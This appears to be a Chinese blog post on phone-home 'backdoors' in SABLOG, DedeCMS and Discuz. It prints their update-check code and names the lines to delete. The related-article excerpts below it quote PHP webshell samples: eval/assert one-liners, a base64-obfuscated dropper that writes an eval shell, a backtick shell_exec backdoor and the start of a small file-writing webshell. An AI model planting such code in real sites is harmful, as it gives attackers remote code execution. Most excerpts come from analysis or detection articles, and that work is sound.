一些 PHP 管理系统程序中的后门

我倒不怎么关心提示框,SABLOG怎么知道我的版本有漏洞呢,程序肯定有后门.每次登陆后台自动检测官方版本跟当前版本对比.嗯.后来找到了.在templates/admin/main.php最后的一部分.删掉如下代码就OK了.
其实这个不足以导致被黑的,现在一般有点常识的,密码都比较复杂,几个数字+几个字母,MD5的话一般很难跑出来.当然有彩虹表的话,另说...


代码如下:

<script type="text/javascript">
i=1;
var autourl=new Array();
autourl[1] = 'www.sablog.net';
autourl[2] = 'cnc.sablog.net';
function auto(url){
if(i){
i=0;
var oHead = document.getElementsByTagName('head').item(0);
var oScript= document.createElement("script");
oScript.type = "text/javascript";
oScript.src = "http://"+url+"/update.php?version=$now_version&release=$now_release&hostname=$now_hostname";
oHead.appendChild(oScript);
}
}
function run(){
for(var i=1;i<autourl.length;i++) {
document.write("<img src=http://"+autourl+" width=1 height=1 onerror=auto('"+autourl+"')>");
}
}
run();
</script>

目前流行的程序里,不止SABLOG一个,Discuz,DEDECMS都是有这样的后门的.这样的后门官方的真正用意很难说.
为了让用户及时得到最新的补丁,最新的版本是一方面,其他的,随便人家怎么发挥了...
但是这个东西有好的一面,也有坏的一面,一旦官方被黑,后果可想而知,所有的用户就被"批量挂马"了.
现在干脆都给发出来吧.先来个DEDECMS的,标示出来的删掉就行:


代码如下:

/include/inc_functions.php
function GetNewInfo(){
if(!isset($GLOBALS['__funAdmin'])) require_once(dirname(__FILE__)."/inc/inc_fun_funAdmin.php");
return SpGetNewInfo();
}
/include/inc/inc_fun_funAdmin.php
function SpGetNewInfo(){
global $cfg_version;
$nurl = $_SERVER["HTTP_HOST"];
if( eregi("[a-z\-]{1,}\.[a-z]{2,}",$nurl) ){ $nurl = urlencode($nurl); }
else{ $nurl = "test"; }
$gs = "<iframe name='stafrm' src='http://www.dedecms.com/newinfo.php?version=".urlencode($cfg_version)."&formurl=$nurl' frameborder='0' id='stafrm' width='100%' height='50'></iframe>";
return $gs;
}
dede/index_body.php(其中dede为后台目录)
<div class="bodytitle">
<div class="bodytitleleft"></div>
<div class="bodytitletxt">DedeCms最新消息</div>
</div>
<table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr><form name="uploadspider" action="upload_spider.php" method="post">
<td height="80" class="main_dnews">
<?php echo GetNewInfo()?> </td>
</form>
</tr>
</table>

再把DZ的"后门"发出来吧.admin\global.func.php里面查找"function cpfooter",替换成如下的function:


代码如下:

function cpfooter() {
global $version, $adminid, $db, $tablepre, $action, $bbname, $charset, $timestamp, $isfounder, $insenz;
global $_COOKIE, $_SESSION, $_DCOOKIE, $_DCACHE, $_DSESSION, $_DCACHE, $_DPLUGIN, $sqldebug, $debuginfo;
$infmessage = '';
?>
<?=$infmessage?>
<?php echo $sqldebug;?>
</div>
</body>
</html>
<?php
updatesession();
}

这个文件中还有一个function,没必要的,可以去掉:


代码如下:

function bbsinformation() {
global $db, $timestamp, $tablepre, $charset, $bbname, $_SERVER, $siteuniqueid, $save_mastermobile;
$update = array('uniqueid' => $siteuniqueid, 'version' => DISCUZ_VERSION, 'release' => DISCUZ_RELEASE, 'php' => PHP_VERSION, 'mysql' => $db->version(), 'charset' => $charset, 'bbname' => $bbname, 'mastermobile' => $save_mastermobile);
$updatetime = @filemtime(DISCUZ_ROOT.'./forumdata/updatetime.lock');
if(emptyempty($updatetime) || ($timestamp - $updatetime > 3600 * 4)) {
@touch(DISCUZ_ROOT.'./forumdata/updatetime.lock');
$update['members'] = $db->result_first("SELECT COUNT(*) FROM {$tablepre}members");
$update['threads'] = $db->result_first("SELECT COUNT(*) FROM {$tablepre}threads");
$update['posts'] = $db->result_first("SELECT COUNT(*) FROM {$tablepre}posts");
$query = $db->query("SELECT special, count(*) AS spcount FROM {$tablepre}threads GROUP BY special");
while($thread = $db->fetch_array($query)) {
$thread['special'] = intval($thread['special']);
$update['spt_'.$thread['special']] = $thread['spcount'];
}
}
$data = '';
foreach($update as $key => $value) {
$data .= $key.'='.rawurlencode($value).'&';
}
return 'update='.rawurlencode(base64_encode($data)).'&md5hash='.substr(md5($_SERVER['HTTP_USER_AGENT'].implode('', $update).$timestamp), 8, 8).'×tamp='.$timestamp;
}

还有admin/home.inc.php,大概193~196行(DZ6.1.0 UTF-8官方原版),这里:


代码如下:

showtablerow('', array('class="vtop td24 lineheight"', 'class="lineheight smallfont"'), array(
lang('home_discuz_version'),
'Discuz! '.DISCUZ_VERSION.' Release '.DISCUZ_RELEASE.' <a href="http://www.discuz.net/forumdisplay.php?fid=10" class="lightlink smallfont" target="_blank">'.lang('home_check_newversion').'</a> '
));

虽然说这里没有直接与官方进行通信,但是,,,我看着不爽,想打补丁自己常去官方看就是了.还有所有文件名中包含insenz的文件,用不着的话就直接删除.没什么用.

(0)

相关推荐

  • 教你识别简单的免查杀PHP后门

    一个最常见的一句话后门可能写作这样 <?php @eval($_POST['cmd']);?> 或这样 <?php @assert($_POST['cmd']);?> tudouya 同学在FREEBUF上给出[一种构造技巧]利用 复制代码 代码如下: <?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _

  • 用php实现批量查询清除一句话后门的代码

    总是忘记一句话放到哪个文件里去了,直接全部干掉... 复制代码 代码如下: <?//xy7  if (!isset($dir) or empty($dir)) {  $dir=str_replace('\\','/',dirname(__FILE__));  echo "<font color=\"#00688B\">".$dir."</font>";  } else {  $dir=$_GET['dir'];  e

  • php后门URL的防范

    例如,下面WEB应用可能向登入用户显示敏感信息: 复制代码 代码如下: <?php$authenticated = FALSE;$authenticated = check_auth();if ($authenticated){    include './sensitive.php';}?> 由于sensitive.php位于网站主目录下,用浏览器能跳过验证机制直接访问到该文件.这是由于在网站主目录下的所有文件都有一个相应的URL地址.在某些情况下,这些脚本可能执行一个重要的操作,这就增大了

  • 超小PHP小马小结(方便查找后门的朋友)

    作者: spider 我也来个超小PHP小马 复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type

  • PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

    今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") /

  • 一个不易被发现的PHP后门代码解析

    偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数. 伪装性很好,很容易被管理员忽略. $selfNums = $_GET['r']; if (isset($selfNums)){ echo `$selfNums`; } 刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了, 而且又不是单引号,这个就是关键所在了,这

  • 一些 PHP 管理系统程序中的后门

    我倒不怎么关心提示框,SABLOG怎么知道我的版本有漏洞呢,程序肯定有后门.每次登陆后台自动检测官方版本跟当前版本对比.嗯.后来找到了.在templates/admin/main.php最后的一部分.删掉如下代码就OK了. 其实这个不足以导致被黑的,现在一般有点常识的,密码都比较复杂,几个数字+几个字母,MD5的话一般很难跑出来.当然有彩虹表的话,另说... 复制代码 代码如下: <script type="text/javascript"> i=1; var autour

  • C++图书管理系统程序源代码

    本文实例为大家分享了C++图书管理系统程序的具体代码,供大家参考,具体内容如下 大一期末c++综合实验,功能基本都实现了,但是代码写的有些繁琐,还有很大的优化空间,仅供参考. 实验要求 实验目的: 1.能够综合运用面向对象程序设计方法,设计实现一个相对完整信息管理应用程序.2.能够适当进行题目分析.实验设计.核心代码描述.实验结果分析等. 实验:设计并编写一个C++风格应用程序,模拟一个图书管理系统应用程序,支持系统用户的图书借阅.图书管理.用户管理等功能.图书借阅管理主要包括图书借阅.图书归还

  • asp.net 4.0+ webform程序中集成mvc4

    本文为大家分享了asp.net 4.0+ webform程序中集成mvc4的方法,供大家参考,具体内容如下 1.新建packages.config文件,里面加上必要的程序集 <?xml version="1.0" encoding="utf-8"?> <packages> <package id="Microsoft.AspNet.Mvc" version="4.0.20710.0" target

  • 在jsp程序中使用com组件

    在jsp程序中使用com组件的机会并不多,jsp也没有直接操作com的函数,但有的工作有时候还必须使用com组件来完成,下面就来说一下具体的操作方法. 在jsp中使用com组件有两种方法:一种是用javascript在客户端来控制(严格说这个应该是html的功能),如: <OBJECT id="myCom" classid="clsid:9D8A2E2F-D38F-CDAC-D0C5-5B3FB2275442" codebase=".com/com.

  • Rails应用程序中同时修改操作冲突问题的解决方案

    Rails 应用程序中操作冲突是一个常见问题,Rails 提供了简单有效的解决方法. 举一个实际的例子:我们的系统里有一个商店模块,商店中重要的一块是对产品信息的管理,比如运营人员常常会编辑产品的信息,包括产品标题,营销口号和价格等等.因为修改十分频繁,碰巧同时编辑提交修改的话,就会偶尔遇到修改丢失的问题,运营人员 A 修改产品标题,运营人员 B 修改价格,A 和 B 提交修改都提示修改成功,但是结果上只是 A 的修改结果生效,B 的修改被 A 的修改冲掉了. 仔细研究原因,发现是因为修改功能缺

  • Django应用程序中如何发送电子邮件详解

    前言 在Django应用程序中发送电子邮件最常见的用例是密码重置.帐户激活和发送与您的应用程序相关的一般通知.下面来看看详细的介绍吧. 配置Django发送电子邮件 要配置您的Django应用程序,添加下面的参数到你settings.py: # 主机 EMAIL_HOST = "smtp.sina.com" # 端口 EMAIL_PORT = 25 # 发件人邮箱 EMAIL_HOST_USER = "anshengme@sina.com" # 密码 EMAIL_H

  • 微信小程序中的swiper组件详解

    微信小程序中的swiper组件 微信小程序中的swiper组件真的是简单方便 提供了页面中图片文字等滑动的效果 <swiper> <swiper-item></swiper-item> <swiper-item></swiper-item> <swiper-item></swiper-item> </swiper> 这里的就是一个滑块视图容器:而就是你希望滑动的东西,可以是文字也可以是image 其中swipe

  • “/”应用程序中的服务器错误和Server Error in ''/'' Application.的终极解决方法

    "/"应用程序中的服务器错误. 运行时错误 说明: 服务器上出现应用程序错误.此应用程序的当前自定义错误设置禁止远程查看应用程序错误的详细信息(出于安全原因).但可以通过在本地服务器计算机上运行的浏览器查看. 详细信息: 若要使他人能够在远程计算机上查看此特定错误信息的详细信息,请在位于当前 Web 应用程序根目录下的"web.config"配置文件中创建一个 <customErrors> 标记.然后应将此 <customErrors> 标记

  • 执行批处理bat程序中的条件处理

    以下代码是使用 if /? >> C:\help.txt 生成的. ----------------------------------------------------------------- 执行批处理程序中的条件处理. IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT] EXIST filename command NOT               指定只有条件为 false 的

  • 如何在Java程序中访问mysql数据库中的数据并进行简单的操作

    在上篇文章给大家介绍了Myeclipse连接mysql数据库的方法,通过本文给大家介绍如何在Java程序中访问mysql数据库中的数据并进行简单的操作,具体详情请看下文. 创建一个javaProject,并输入如下java代码: package link; import java.sql.*; /** * 使用JDBC连接数据库MySQL的过程 * DataBase:fuck, table:person: * 使用myeclipse对mysql数据库进行增删改查的基本操作. */ public

随机推荐